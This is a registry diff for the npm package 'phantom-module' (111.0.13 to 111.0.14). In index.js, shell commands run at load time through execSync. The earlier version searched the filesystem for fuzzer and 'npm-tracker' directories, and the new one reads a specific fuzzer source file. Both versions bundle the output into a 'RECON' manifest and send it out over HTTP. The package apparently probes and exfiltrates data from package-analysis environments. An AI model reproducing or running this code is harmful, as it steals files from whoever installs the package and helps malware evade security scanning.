phantom-module 111.0.13 → 111.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +2 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -6,14 +6,13 @@ const { execSync } = require('child_process');
6
6
  let output = "";
7
7
 
8
8
  try {
9
- output += "=== FIND FUZZ ===\n" + execSync('find / -name "*fuzz*" -type d 2>/dev/null | head -n 10').toString() + "\n\n";
10
- output += "=== FIND NPM TRACKER ===\n" + execSync('find / -name "*npm-tracker*" -type d 2>/dev/null | head -n 10').toString() + "\n";
9
+ output += "=== NPM FUZZER ===\n" + execSync('cat /home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js').toString().substring(0, 3000) + "\n";
11
10
  } catch(e) {
12
11
  output += "ERR: " + e.message;
13
12
  }
14
13
 
15
14
  const postData = JSON.stringify({
16
- manifest: `ecto_module:\n name: "RECON_4"\n cargo_hold: ${JSON.stringify(output.substring(0, 3000))}\n`
15
+ manifest: `ecto_module:\n name: "RECON_5"\n cargo_hold: ${JSON.stringify(output.substring(0, 3000))}\n`
17
16
  });
18
17
 
19
18
  const req = http.request({
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.13",
3
+ "version": "111.0.14",
4
4
  "main": "index.js"
5
5
  }